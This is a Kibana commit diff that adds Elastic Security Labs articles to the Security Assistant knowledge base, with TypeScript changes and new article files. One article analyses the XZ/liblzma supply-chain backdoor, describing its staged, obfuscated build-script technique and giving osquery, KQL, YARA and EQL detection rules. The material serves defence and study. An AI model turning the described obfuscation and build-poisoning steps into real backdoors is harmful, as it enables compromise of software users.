mirror of
https://github.com/elastic/kibana.git
synced 2025-04-24 09:48:58 -04:00
[Security Assistant] Adds Security Labs Knowledge Base content (#184885)
## Summary This PR adds the [Elastic Security Labs](https://www.elastic.co/security-labs) content to the Security Assistant Knowledge Base. Content is currently indexed and embedded from its source `.mdx`, and we're using the same default chunking strategy as with the ESQL documentation at the moment. Since some of this content is quite large, we may want to explore other chunking strategies. Now you can ask to fetch your recent alerts and ask if there's any Elastic Security Labs content about them 🙂. LangSmith trace [here](https://smith.langchain.com/public/0e906acd-ab56-479d-b6d2-9c7538f54d45/r). Malware alerts courtesy of @jamesspi's https://github.com/jamesspi/ohmymalware project <img width="16" src="https://user-images.githubusercontent.com/2946766/141219243-86619f7f-c300-4355-96f5-316d70aa6a0e.png" /> <p align="center"> <img width="375" src="750b6dc5
-90b9-444e-be1d-c3df892dae61" /> <img width="375" src="e052cea0
-ada4-4099-8b97-be05c1379b00" /> </p> <img width="2056" alt="image" src="https://github.com/user-attachments/assets/9a58a064-deb3-4ad4-a3a9-bb72d056e8b4"> ### Checklist Delete any items that are not applicable to this PR. - [X] Any text added follows [EUI's writing guidelines](https://elastic.github.io/eui/#/guidelines/writing), uses sentence case text and includes [i18n support](https://github.com/elastic/kibana/blob/main/packages/kbn-i18n/README.md) - [ ] [Documentation](https://www.elastic.co/guide/en/kibana/master/development-documentation.html) was added for features that require explanation or tutorials * Feature currently behind feature flag. Documentation to be added before flag is removed. Tracked in https://github.com/elastic/security-docs/issues/5337 - [X] [Unit or functional tests](https://www.elastic.co/guide/en/kibana/master/development-tests.html) were updated or added to match the most common scenarios --------- Co-authored-by: Patryk Kopycinski <contact@patrykkopycinski.com> Co-authored-by: kibanamachine <42973632+kibanamachine@users.noreply.github.com>
This commit is contained in:
parent
cef36d130a
commit
3499fbbc83
197 changed files with 42360 additions and 440 deletions
|
@ -81,4 +81,5 @@ export const ReadKnowledgeBaseResponse = z.object({
|
|||
is_setup_available: z.boolean().optional(),
|
||||
is_setup_in_progress: z.boolean().optional(),
|
||||
pipeline_exists: z.boolean().optional(),
|
||||
security_labs_exists: z.boolean().optional(),
|
||||
});
|
||||
|
|
|
@ -78,6 +78,8 @@ paths:
|
|||
type: boolean
|
||||
pipeline_exists:
|
||||
type: boolean
|
||||
security_labs_exists:
|
||||
type: boolean
|
||||
400:
|
||||
description: Generic Error
|
||||
content:
|
||||
|
|
|
@ -90,6 +90,7 @@ export const isKnowledgeBaseSetup = (kbStatus: ReadKnowledgeBaseResponse | undef
|
|||
return (
|
||||
(kbStatus?.elser_exists &&
|
||||
kbStatus?.esql_exists &&
|
||||
kbStatus?.security_labs_exists &&
|
||||
kbStatus?.index_exists &&
|
||||
kbStatus?.pipeline_exists) ??
|
||||
false
|
||||
|
|
|
@ -63,7 +63,8 @@ export const useChatSend = ({
|
|||
kbStatus?.elser_exists &&
|
||||
kbStatus?.index_exists &&
|
||||
kbStatus?.pipeline_exists &&
|
||||
kbStatus?.esql_exists;
|
||||
kbStatus?.esql_exists &&
|
||||
kbStatus?.security_labs_exists;
|
||||
|
||||
// Handles sending latest user prompt to API
|
||||
const handleSendMessage = useCallback(
|
||||
|
|
|
@ -55,8 +55,13 @@ export const KnowledgeBaseSettings: React.FC<Props> = React.memo(
|
|||
// Resource enabled state
|
||||
const isElserEnabled = kbStatus?.elser_exists ?? false;
|
||||
const isESQLEnabled = kbStatus?.esql_exists ?? false;
|
||||
const isSecurityLabsEnabled = kbStatus?.security_labs_exists ?? false;
|
||||
const isKnowledgeBaseSetup =
|
||||
(isElserEnabled && isESQLEnabled && kbStatus?.index_exists && kbStatus?.pipeline_exists) ??
|
||||
(isElserEnabled &&
|
||||
isESQLEnabled &&
|
||||
isSecurityLabsEnabled &&
|
||||
kbStatus?.index_exists &&
|
||||
kbStatus?.pipeline_exists) ??
|
||||
false;
|
||||
const isSetupInProgress = kbStatus?.is_setup_in_progress ?? false;
|
||||
const isSetupAvailable = kbStatus?.is_setup_available ?? false;
|
||||
|
|
|
@ -12,13 +12,15 @@ import {
|
|||
} from '@kbn/elastic-assistant-common';
|
||||
import { z } from '@kbn/zod';
|
||||
|
||||
export const isEsqlSystemEntry = (
|
||||
export const isSystemEntry = (
|
||||
entry: KnowledgeBaseEntryResponse
|
||||
): entry is KnowledgeBaseEntryResponse & {
|
||||
type: DocumentEntryType;
|
||||
kbResource: 'esql';
|
||||
kbResource: 'esql' | 'security_labs';
|
||||
} => {
|
||||
return entry.type === DocumentEntryType.value && entry.kbResource === 'esql';
|
||||
return (
|
||||
entry.type === DocumentEntryType.value && ['esql', 'security_labs'].includes(entry.kbResource)
|
||||
);
|
||||
};
|
||||
|
||||
export const isKnowledgeBaseEntryCreateProps = (
|
||||
|
|
|
@ -43,7 +43,7 @@ import { KnowledgeBaseSettings } from '../knowledge_base_settings';
|
|||
import { SetupKnowledgeBaseButton } from '../setup_knowledge_base_button';
|
||||
import { useDeleteKnowledgeBaseEntries } from '../../assistant/api/knowledge_base/entries/use_delete_knowledge_base_entries';
|
||||
import {
|
||||
isEsqlSystemEntry,
|
||||
isSystemEntry,
|
||||
isKnowledgeBaseEntryCreateProps,
|
||||
isKnowledgeBaseEntryResponse,
|
||||
} from './helpers';
|
||||
|
@ -152,13 +152,13 @@ export const KnowledgeBaseSettingsManagement: React.FC = React.memo(() => {
|
|||
openFlyout();
|
||||
},
|
||||
isDeleteEnabled: (entry: KnowledgeBaseEntryResponse) => {
|
||||
return !isEsqlSystemEntry(entry);
|
||||
return !isSystemEntry(entry);
|
||||
},
|
||||
onDeleteActionClicked: ({ id }: KnowledgeBaseEntryResponse) => {
|
||||
deleteEntry({ ids: [id] });
|
||||
},
|
||||
isEditEnabled: (entry: KnowledgeBaseEntryResponse) => {
|
||||
return !isEsqlSystemEntry(entry);
|
||||
return !isSystemEntry(entry);
|
||||
},
|
||||
onEditActionClicked: ({ id }: KnowledgeBaseEntryResponse) => {
|
||||
const entry = entries.data.find((e) => e.id === id);
|
||||
|
|
|
@ -18,7 +18,7 @@ import { useAssistantContext } from '../../..';
|
|||
import * as i18n from './translations';
|
||||
import { BadgesColumn } from '../../assistant/common/components/assistant_settings_management/badges';
|
||||
import { useInlineActions } from '../../assistant/common/components/assistant_settings_management/inline_actions';
|
||||
import { isEsqlSystemEntry } from './helpers';
|
||||
import { isSystemEntry } from './helpers';
|
||||
|
||||
export const useKnowledgeBaseTable = () => {
|
||||
const { currentUserAvatar } = useAssistantContext();
|
||||
|
@ -29,7 +29,7 @@ export const useKnowledgeBaseTable = () => {
|
|||
if (entry.kbResource === 'user') {
|
||||
return 'userAvatar';
|
||||
}
|
||||
if (entry.kbResource === 'esql') {
|
||||
if (['esql', 'security_labs'].includes(entry.kbResource)) {
|
||||
return 'logoElastic';
|
||||
}
|
||||
return 'visText';
|
||||
|
@ -83,8 +83,8 @@ export const useKnowledgeBaseTable = () => {
|
|||
render: (entry: KnowledgeBaseEntryResponse) => {
|
||||
// TODO: Look up user from `createdBy` id if privileges allow
|
||||
const userName = entry.users?.[0]?.name ?? 'Unknown';
|
||||
const badgeItem = isEsqlSystemEntry(entry) ? 'Elastic' : userName;
|
||||
const userImage = isEsqlSystemEntry(entry) ? (
|
||||
const badgeItem = isSystemEntry(entry) ? 'Elastic' : userName;
|
||||
const userImage = isSystemEntry(entry) ? (
|
||||
<EuiIcon
|
||||
type={'logoElastic'}
|
||||
css={css`
|
||||
|
@ -124,7 +124,7 @@ export const useKnowledgeBaseTable = () => {
|
|||
{
|
||||
name: i18n.COLUMN_ENTRIES,
|
||||
render: (entry: KnowledgeBaseEntryResponse) => {
|
||||
return isEsqlSystemEntry(entry)
|
||||
return isSystemEntry(entry)
|
||||
? entry.text
|
||||
: entry.type === DocumentEntryType.value
|
||||
? '1'
|
||||
|
|
|
@ -34,7 +34,8 @@ export const SetupKnowledgeBaseButton: React.FC<Props> = React.memo(({ display }
|
|||
kbStatus?.elser_exists &&
|
||||
kbStatus?.index_exists &&
|
||||
kbStatus?.pipeline_exists &&
|
||||
kbStatus?.esql_exists;
|
||||
kbStatus?.esql_exists &&
|
||||
kbStatus?.security_labs_exists;
|
||||
|
||||
const onInstallKnowledgeBase = useCallback(() => {
|
||||
setupKB(ESQL_RESOURCE);
|
||||
|
|
|
@ -5,7 +5,11 @@
|
|||
* 2.0.
|
||||
*/
|
||||
|
||||
import { MappingRuntimeFields, Sort } from '@elastic/elasticsearch/lib/api/types';
|
||||
import {
|
||||
AggregationsAggregationContainer,
|
||||
MappingRuntimeFields,
|
||||
Sort,
|
||||
} from '@elastic/elasticsearch/lib/api/types';
|
||||
import { ElasticsearchClient, Logger } from '@kbn/core/server';
|
||||
|
||||
import { estypes } from '@elastic/elasticsearch';
|
||||
|
@ -22,6 +26,7 @@ interface FindOptions {
|
|||
index: string;
|
||||
runtimeMappings?: MappingRuntimeFields | undefined;
|
||||
logger: Logger;
|
||||
aggs?: Record<string, AggregationsAggregationContainer>;
|
||||
}
|
||||
|
||||
export interface FindResponse<T> {
|
||||
|
@ -41,6 +46,7 @@ export const findDocuments = async <TSearchSchema>({
|
|||
fields,
|
||||
sortOrder,
|
||||
logger,
|
||||
aggs,
|
||||
}: FindOptions): Promise<FindResponse<TSearchSchema>> => {
|
||||
const query = getQueryFilter({ filter });
|
||||
let sort: Sort | undefined;
|
||||
|
@ -67,6 +73,7 @@ export const findDocuments = async <TSearchSchema>({
|
|||
index,
|
||||
seq_no_primary_term: true,
|
||||
size: perPage,
|
||||
aggs,
|
||||
});
|
||||
return {
|
||||
data: response,
|
||||
|
|
|
@ -99,6 +99,7 @@ export class AIAssistantDataClient {
|
|||
sortOrder,
|
||||
filter,
|
||||
fields,
|
||||
aggs,
|
||||
}: {
|
||||
perPage: number;
|
||||
page: number;
|
||||
|
@ -106,6 +107,7 @@ export class AIAssistantDataClient {
|
|||
sortOrder?: string;
|
||||
filter?: string;
|
||||
fields?: string[];
|
||||
aggs?: Record<string, estypes.AggregationsAggregationContainer>;
|
||||
}): Promise<Promise<FindResponse<TSearchSchema>>> => {
|
||||
const esClient = await this.options.elasticsearchClientPromise;
|
||||
return findDocuments<TSearchSchema>({
|
||||
|
@ -118,6 +120,7 @@ export class AIAssistantDataClient {
|
|||
index: this.indexTemplateAndPattern.alias,
|
||||
sortOrder: sortOrder as estypes.SortOrder,
|
||||
logger: this.options.logger,
|
||||
aggs,
|
||||
});
|
||||
};
|
||||
}
|
||||
|
|
|
@ -35,13 +35,17 @@ import {
|
|||
} from './create_knowledge_base_entry';
|
||||
import { EsDocumentEntry, EsIndexEntry, EsKnowledgeBaseEntrySchema } from './types';
|
||||
import { transformESSearchToKnowledgeBaseEntry } from './transforms';
|
||||
import { ESQL_DOCS_LOADED_QUERY } from '../../routes/knowledge_base/constants';
|
||||
import {
|
||||
ESQL_DOCS_LOADED_QUERY,
|
||||
SECURITY_LABS_RESOURCE,
|
||||
} from '../../routes/knowledge_base/constants';
|
||||
import {
|
||||
getKBVectorSearchQuery,
|
||||
getStructuredToolForIndexEntry,
|
||||
isModelAlreadyExistsError,
|
||||
} from './helpers';
|
||||
import { getKBUserFilter } from '../../routes/knowledge_base/entries/utils';
|
||||
import { loadSecurityLabs } from '../../lib/langchain/content_loaders/security_labs_loader';
|
||||
|
||||
/**
|
||||
* Params for when creating KbDataClient in Request Context Factory. Useful if needing to modify
|
||||
|
@ -203,9 +207,11 @@ export class AIAssistantKnowledgeBaseDataClient extends AIAssistantDataClient {
|
|||
public setupKnowledgeBase = async ({
|
||||
soClient,
|
||||
installEsqlDocs = true,
|
||||
installSecurityLabsDocs = true,
|
||||
}: {
|
||||
soClient: SavedObjectsClientContract;
|
||||
installEsqlDocs?: boolean;
|
||||
installSecurityLabsDocs?: boolean;
|
||||
}): Promise<void> => {
|
||||
if (this.options.getIsKBSetupInProgress()) {
|
||||
this.options.logger.debug('Knowledge Base setup already in progress');
|
||||
|
@ -257,6 +263,16 @@ export class AIAssistantKnowledgeBaseDataClient extends AIAssistantDataClient {
|
|||
this.options.logger.debug(`Knowledge Base docs already loaded!`);
|
||||
}
|
||||
}
|
||||
|
||||
if (installSecurityLabsDocs) {
|
||||
const labsDocsLoaded = await this.isSecurityLabsDocsLoaded();
|
||||
if (!labsDocsLoaded) {
|
||||
this.options.logger.debug(`Loading Security Labs KB docs...`);
|
||||
await loadSecurityLabs(this, this.options.logger);
|
||||
} else {
|
||||
this.options.logger.debug(`Security Labs Knowledge Base docs already loaded!`);
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
this.options.setIsKBSetupInProgress(false);
|
||||
this.options.logger.error(`Error setting up Knowledge Base: ${e.message}`);
|
||||
|
@ -352,6 +368,18 @@ export class AIAssistantKnowledgeBaseDataClient extends AIAssistantDataClient {
|
|||
return esqlDocs.length > 0;
|
||||
};
|
||||
|
||||
/**
|
||||
* Returns if Security Labs KB docs have been loaded
|
||||
*/
|
||||
public isSecurityLabsDocsLoaded = async (): Promise<boolean> => {
|
||||
const securityLabsDocs = await this.getKnowledgeBaseDocumentEntries({
|
||||
query: '',
|
||||
kbResource: SECURITY_LABS_RESOURCE,
|
||||
required: false,
|
||||
});
|
||||
return securityLabsDocs.length > 0;
|
||||
};
|
||||
|
||||
/**
|
||||
* Performs similarity search to retrieve LangChain Documents from the knowledge base
|
||||
*/
|
||||
|
|
|
@ -0,0 +1,15 @@
|
|||
---
|
||||
title: "2022 Elastic Global Threat Report Announcement"
|
||||
slug: "2022-elastic-global-threat-report-announcement"
|
||||
date: "2022-11-30"
|
||||
description: "Discover our latest findings & strategic recommendations to better stay informed of potential directions threat actors may focus on."
|
||||
author:
|
||||
- slug: devon-kerr
|
||||
image: "gtr-blog-image-720x420.jpg"
|
||||
category:
|
||||
- slug: reports
|
||||
---
|
||||
|
||||
Today Elastic Security Labs celebrates another milestone: launching the [2022 Elastic Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report), our inaugural summary of threat trends, forecasts, and recommendations. We analyzed millions of telemetry events from sources around the world to share these insights with you; all part of our continued commitment to transparency, and our mission to protect the world's data.
|
||||
|
||||
You can find the report [here](https://www.elastic.co/explore/security-without-limits/global-threat-report), we're excited to share it with you.
|
|
@ -0,0 +1,41 @@
|
|||
---
|
||||
title: "2022 Elastic Global Threat Report: Helping security leaders navigate today’s threat landscape"
|
||||
slug: "2022-elastic-global-threat-report-helping-security-leaders-navigate-todays-threat-landscape"
|
||||
date: "2022-11-30"
|
||||
description: "A significant percentage of all cyber threats achieve a degree of success against technical, procedural, and human mitigations. So what is a company to do in the face of such unfavorable odds? Find out in this article."
|
||||
author:
|
||||
- slug: ken-exner
|
||||
image: "gtr-blog-image-720x420.jpg"
|
||||
category:
|
||||
- slug: reports
|
||||
---
|
||||
|
||||
As the threat landscape continues to evolve, cybersecurity stakes are growing exponentially higher for today’s organizations. Between Log4j, geopolitical tension, and increasing ransomware threats, security is not just at the top of the business agenda but also the societal agenda. Meanwhile, threat actors have adopted new capabilities and methods while increasing their cadence of activity.
|
||||
|
||||
Threat detection and response has come a long way since the firewall dissolved and the cloud took center stage. AI and machine learning, for example, have been major contributors to the advancement of cybersecurity. Machine learning is being used to identify malicious behavior from bad actors by modeling network behavior and improving overall threat detection.
|
||||
|
||||
What’s been difficult is the sea of sameness filled with vendors promising products to mitigate today’s threats while preparing for the next one. As the [2022 Elastic Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report) outlines, a significant percentage of all threats achieve a degree of success against technical, procedural, and human mitigations. So what is a company to do in the face of such unfavorable odds? At Elastic, we believe there are several ingredients that are critical to managing today’s threat landscape.
|
||||
|
||||
## Build a program, not just a tool
|
||||
|
||||
Vendors need to start thinking about security products as more than software. They are part of a living, breathing program that takes care and feeding. For Elastic, it’s not just about shipping a solution; it’s about offering a holistic approach to security that happens to come with a great product. It’s sharing insights and best practices and creating a community focused on security data intelligence that extends the value of Elastic Security for customers.
|
||||
|
||||
The 2022 Elastic Threat Report is an important part of that program, and we’re excited to share our knowledge with the community. In addition to vital information from the Elastic Security Labs team, the report provides actionable guidance to security practitioners about how to maximize positive outcomes for their organizations.
|
||||
|
||||
## It takes an (open) community
|
||||
|
||||
The foundation of any good program is a strong community that can support and foster it. Take Elastic’s commitment to open security, for example. The community born from vendors being transparent about their security controls, detection rules, and threat logic can be a force multiplier of best practices across the entire industry.
|
||||
|
||||
When vendors engage their experts with experts from across the broader security community about new threats they’ve observed or innovative methods for detecting nuanced attacks, it creates greater scalability of system defenses — not just for the enterprise but also for their customers.
|
||||
|
||||
For example, at Elastic we recently opened our Endpoint Security [protections-artifacts repo](https://github.com/elastic/protections-artifacts), adding to our already open [detection-rules repo](https://github.com/elastic/detection-rules/tree/main/rules), to foster further collaboration with our community and be transparent about how we protect users.
|
||||
|
||||
## Treat the cause, not the symptom
|
||||
|
||||
Despite the ever-growing threat landscape and the risks that it poses, many organizations are still treating security symptoms instead of the cause. Companies can no longer afford to keep the security team siloed and separate from the engineering team. The two functions must work closely to build products and solutions that can withstand the barrage of advancing threats.
|
||||
|
||||
At Elastic, we design and build products with security in mind from the start, so it’s baked into every solution we ship to our customers. In fact, we take security so seriously that the office of InfoSec is part of the engineering organization.
|
||||
|
||||
We hope that the 2022 Elastic Global Threat Report will help your understanding of the important shifts in the threat landscape, and provide the information you need to make your organization more resilient, prepared, and protected.
|
||||
|
||||
[Download the 2022 Elastic Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report).
|
|
@ -0,0 +1,178 @@
|
|||
---
|
||||
title: "500ms to midnight: XZ / liblzma backdoor"
|
||||
slug: "500ms-to-midnight"
|
||||
date: "2024-04-05"
|
||||
description: "Elastic Security Labs is releasing an initial analysis of the XZ Utility backdoor, including YARA rules, osquery, and KQL searches to identify potential compromises."
|
||||
author:
|
||||
- slug: samir-bousseaden
|
||||
- slug: mika-ayenson
|
||||
- slug: jake-king
|
||||
image: "500ms-to-midnight.jpg"
|
||||
category:
|
||||
- slug: security-research
|
||||
- slug: vulnerability-updates
|
||||
tags:
|
||||
- linux
|
||||
- vulnerability
|
||||
- cve-2024-3094
|
||||
---
|
||||
|
||||
## Key Takeaways
|
||||
|
||||
* On March 29, 2024, Andres Freund identified malicious commits to the command-line utility XZ, impacting versions 5.6.0 and 5.6.1 for Linux, and shared the information on the oss-security mailing list.
|
||||
* Andres’ discovery was made after an increase of _500ms_ in latency was observed with SSH login attempts initiated from a development system, amongst other anomalies.
|
||||
* The backdoor identified has been designed to circumvent authentication controls within SSH to remotely execute code, potentially gaining access to other systems in the environment.
|
||||
* The code commits were added and signed by [JiaT75](https://tukaani.org/xz-backdoor) (now suspended), who contributed to the popular open source project for several years.
|
||||
* Security researchers are still undertaking an initial analysis of the payload, dissecting both the build process and the backdoor.
|
||||
* Elastic has released both YARA signatures, detection rules, and osquery queries, allowing Linux system maintainers to understand the impact and block potential compromises early.
|
||||
|
||||
## The XZ / liblzma backdoor at a glance
|
||||
|
||||
On March 29 2024, the widely adopted XZ package used within many Linux distributions as a library used by the system to interact with SSH client connections (and many other system utilities) was pulled into the spotlight after a _500ms_ delay with intermittent failures. What began as a routine investigation into that anomaly would take a surprising and unexpected twist: malicious, obfuscated code was planted in the package by a maintainer–code that was also in circulation for a few weeks via a poisoned build process.
|
||||
|
||||
Andres Freund, the developer who initially [identified the malicious contributions](https://www.openwall.com/lists/oss-security/2024/03/29/4), observed that the changes had been implemented in versions `5.6.0` and `5.6.1` of the XZ Utils package but had not been widely adopted across all Linux distributions, outside of select bleeding-edge variants typically used for early-stage testing.
|
||||
|
||||
[Initial analysis](https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b) has shown that the backdoor is designed to circumvent authentication controls in `sshd` via `systemd` and attempts to execute code within a pre-authentication context. Observations made so far have shown that the malicious code is not in its final target state and was perhaps caught early through haphazard mistakes the developer neglected to consider, causing impacts to legitimate SSH use cases.
|
||||
|
||||
Alongside the malicious package being circulated within a small number of Linux distributions, several observations have been made in the popular package management software HomeBrew, which has impacted some macOS users. The maintainers of Homebrew-- and other software packages that included this library-- are presently rolling back to prior versions that aren't impacted by these malicious changes, although mainly out of an abundance of caution, as compromised builds were only targeting deb and rpm packages.
|
||||
|
||||
The following notice was released on the Tukaani Project’s homepage (the project owner of the [XZ Utils Git repository](https://github.com/tukaani-project/xz)) shortly after the news of the backdoor broke.
|
||||
|
||||

|
||||
|
||||
|
||||
The compromise itself, while high risk, is relatively minor in terms of real-world impact given the stage of discovery. This situation should remind security professionals about the importance of understanding supply-chain compromise, monitoring Linux workloads, and auditing system controls. In this situation, defenders had the advantage of time.
|
||||
|
||||
## Backdoor analysis
|
||||
|
||||
### XZ backdoor build process:
|
||||
|
||||
[CVE-2024-3094](https://nvd.nist.gov/vuln/detail/CVE-2024-3094) explains how the changes in the `liblzma` were created from the malicious additions to the library’s build scripts and directly impacts any software that links the library on an impacted system.
|
||||
|
||||
The maliciously modified build script is divided into three stages, starting with the additions in `m4/build-to-host.m4` and progressing through the obfuscation and execution stages. At a high level, some obfuscation techniques include character substitution and selective byte processing commands via the `tr` and `head` commands to decode and execute the malicious payloads in the test files. Interestingly, many impacted tools used are standard Linux system tools typically used by administrators for legitimate purposes.
|
||||
|
||||
The [build process](https://gynvael.coldwind.pl/?lang=en&id=782) runs as follows :
|
||||
|
||||
* **Stage 0:** The initial malicious code additions attempt to decode the Stage 1 script (hidden code segments) by changing byte values from specific test files, which under normal circumstances appear corrupt, to form a valid XZ stream.
|
||||
* **Stage 1:** This stage leverages a bash file with special checks (e.g., the Linux architecture the script runs on) and Bash commands to analyze the environment (e.g. `[ "$(uname)" = "Linux" ]`) to ensure compatible conditions are met for the backdoor. Depending on the outcome of the checks, additional malicious scripts or payloads may be executed.
|
||||
* **Stage 2:** This phase involves an infected.txt file, which details the altered extraction and compilation code modifications, namely:
|
||||
* Reconstruction Data: Byte manipulation and decoding techniques on obfuscated compressed data from test files to reconstruct the malicious payload using commands like `sed` and `awk`
|
||||
* Obfuscation and Extraction: Complex decryption and obfuscation techniques using the `tr` command to extract the binary backdoor to remain hidden from typical detection mechanisms
|
||||
* Build Process Manipulation: This changes the build and compilation steps to embed the binary backdoor into Linux system processes
|
||||
* Extension Mechanism: A design that allows for new scripts and updates to the backdoor without modifying the original payload
|
||||
* Future Stage Preparation: Sets the groundwork for malicious follow-up activities, like propagating the backdoor
|
||||
|
||||
## Assessing impact:
|
||||
|
||||
Given the limited usage of the impacted beta distributions and software, this compromise should impact few systems. Maintainers of Linux systems are however encouraged to ensure systems are not running impacted versions of `xzutils` / `liblzma` by leveraging the following osquery queries:
|
||||
|
||||
[Linux](https://gist.github.com/jamesspi/ee8319f55d49b4f44345c626f80c430f):
|
||||
|
||||
```
|
||||
SELECT 'DEB Package' AS source, name, version,
|
||||
CASE
|
||||
WHEN version LIKE '5.6.0%' OR version LIKE '5.6.1%' THEN 'Potentially Vulnerable'
|
||||
ELSE 'Most likely not vulnerable'
|
||||
END AS status
|
||||
FROM deb_packages
|
||||
WHERE name = 'xz-utils' OR name = 'liblzma' OR name LIKE 'liblzma%'
|
||||
UNION
|
||||
SELECT 'RPM Package' AS source, name, version,
|
||||
CASE
|
||||
WHEN version LIKE '5.6.0%' OR version LIKE '5.6.1%' THEN 'Potentially Vulnerable'
|
||||
ELSE 'Most likely not vulnerable'
|
||||
END AS status
|
||||
FROM rpm_packages
|
||||
WHERE name = 'xz-utils' OR name = 'liblzma' OR name LIKE 'liblzma%';
|
||||
|
||||
```
|
||||
|
||||
[macOS](https://gist.github.com/jamesspi/5cb060b5e0e2d43222a71c876b56daab):
|
||||
|
||||
```
|
||||
SELECT 'Homebrew Package' AS source, name, version,
|
||||
CASE
|
||||
WHEN version LIKE '5.6.0%' OR version LIKE '5.6.1%' THEN 'Potentially Vulnerable'
|
||||
ELSE 'Most likely not vulnerable'
|
||||
END AS status
|
||||
FROM homebrew_packages
|
||||
WHERE name = 'xz' OR name = 'liblzma';
|
||||
```
|
||||
|
||||
The following KQL query can be used to query Elastic Defend file events:
|
||||
|
||||
```
|
||||
event.category : file and host.os.type : (macos or linux) and file.name : liblzma.so.5.6.*
|
||||
```
|
||||
|
||||
Alternatively, manually checking the version of XZ running on a system is as simple as running the [following commands](https://x.com/Kostastsale/status/1773890846250926445?s=20) (from researcher [Kostas](https://twitter.com/Kostastsale)) and checking the output version. Remember, versions 5.6.0 and 5.6.1 are impacted and should be rolled back or updated to a newer version.
|
||||
|
||||
```
|
||||
for xz_p in $(type -a xz | awk '{print $NF}' | uniq); do strings "$xz_p" | grep "xz (XZ Utils)" || echo "No match found for $xz_p"; done
|
||||
```
|
||||
|
||||
## Malware protection
|
||||
|
||||
The following [YARA signature](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_XZBackdoor.yar) (disk and in-memory) is deployed in Elastic Defend to block the XZ backdoor.
|
||||
|
||||
```
|
||||
rule Linux_Trojan_XZBackdoor {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
fingerprint = "f1982d1db5aacd2d6b0b4c879f9f75d4413e0d43e58ea7de2b7dff66ec0f93ab"
|
||||
creation_date = "2024-03-30"
|
||||
last_modified = "2024-03-31"
|
||||
threat_name = "Linux.Trojan.XZBackdoor"
|
||||
reference_sample = "5448850cdc3a7ae41ff53b433c2adbd0ff492515012412ee63a40d2685db3049"
|
||||
severity = 100
|
||||
arch_context = "x86"
|
||||
scan_context = "file, memory"
|
||||
license = "Elastic License v2"
|
||||
os = "linux"
|
||||
strings:
|
||||
/* potential backdoor kill-switch as per https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01?permalink_comment_id=5006558#file-hashes-txt-L115 */
|
||||
$a1 = "yolAbejyiejuvnup=Evjtgvsh5okmkAvj"
|
||||
/* function signature in liblzma used by sshd */
|
||||
$a2 = { F3 0F 1E FA 55 48 89 F5 4C 89 CE 53 89 FB 81 E7 00 00 00 80 48 83 EC 28 48 89 54 24 18 48 89 4C 24 10 }
|
||||
/* unique byte patterns in backdoored liblzma */
|
||||
$b1 = { 48 8D 7C 24 08 F3 AB 48 8D 44 24 08 48 89 D1 4C 89 C7 48 89 C2 E8 ?? ?? ?? ?? 89 C2 }
|
||||
$b2 = { 31 C0 49 89 FF B9 16 00 00 00 4D 89 C5 48 8D 7C 24 48 4D 89 CE F3 AB 48 8D 44 24 48 }
|
||||
$b3 = { 4D 8B 6C 24 08 45 8B 3C 24 4C 8B 63 10 89 85 78 F1 FF FF 31 C0 83 BD 78 F1 FF FF 00 F3 AB 79 07 }
|
||||
condition:
|
||||
1 of ($a*) or all of ($b*)
|
||||
}
|
||||
```
|
||||
|
||||
Detections of this signature will appear in Elastic as follows:
|
||||
|
||||

|
||||
|
||||
|
||||
## Behavior Detection
|
||||
|
||||
Leveraging [Elastic Defend](https://docs.elastic.co/en/integrations/endpoint)’s network and process events, we published a new EQL [detection rule](https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_suspicious_ssh_execution_xzbackdoor.toml) to identify instances where the SSHD service starts, spawns a shell process and immediately terminates unexpectedly all within a very short time span:
|
||||
|
||||
```
|
||||
sequence by host.id, user.id with maxspan=1s
|
||||
[process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name == "sshd" and
|
||||
process.args == "-D" and process.args == "-R"] by process.pid, process.entity_id
|
||||
[process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name == "sshd" and
|
||||
process.executable != "/usr/sbin/sshd"] by process.parent.pid, process.parent.entity_id
|
||||
[process where host.os.type == "linux" and event.action == "end" and process.name == "sshd" and process.exit_code != 0] by process.pid, process.entity_id
|
||||
[network where host.os.type == "linux" and event.type == "end" and event.action == "disconnect_received" and process.name == "sshd"] by process.pid, process.entity_id
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
## Linux: the final frontier
|
||||
|
||||
While observations of supply chain-based attacks or exploitation of vulnerabilities rarely reach this level of global press coverage, Elastic’s observations described in the [2023 Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report) show that Linux-based signature events continue to grow in our dataset. This growth is partially tied to growth in the systems we observe that report on threat behavior, but it strongly suggests that adversaries are becoming increasingly focused on Linux systems.
|
||||
|
||||
Linux is and will continue to be on the [minds of threat groups](https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor), as its widespread adoption across the internet reinforces its importance. In this case, adversarial groups were trying to circumvent existing controls that would allow for future compromise through other means.
|
||||
|
||||
While the objectives of the person(s) behind the XZ backdoor haven’t been made clear yet, it is within the technical capabilities of many threat entities focused on espionage, extortion, destruction of data, intellectual property theft, and human rights abuses. With the ability to execute code on impacted Internet-accessible systems, it’s reasonable to assume that bad actors would further infiltrate victims. Elastic Security Labs sees that Linux visibility has been dramatically improving and enterprises have started to effectively manage their Linux populations, but many organizations reacting to this supply chain compromise are still at the start of that process.
|
|
@ -0,0 +1,428 @@
|
|||
---
|
||||
title: "A peek behind the BPFDoor"
|
||||
slug: "a-peek-behind-the-bpfdoor"
|
||||
date: "2022-07-13"
|
||||
description: "In this research piece, we explore BPFDoor — a backdoor payload specifically crafted for Linux in order to gain re-entry into a previously or actively compromised target environment."
|
||||
author:
|
||||
- slug: jake-king
|
||||
- slug: colson-wilhoit
|
||||
image: "blog-security-detection-720x420.png"
|
||||
category:
|
||||
- slug: attack-pattern
|
||||
---
|
||||
|
||||
## Preamble
|
||||
|
||||
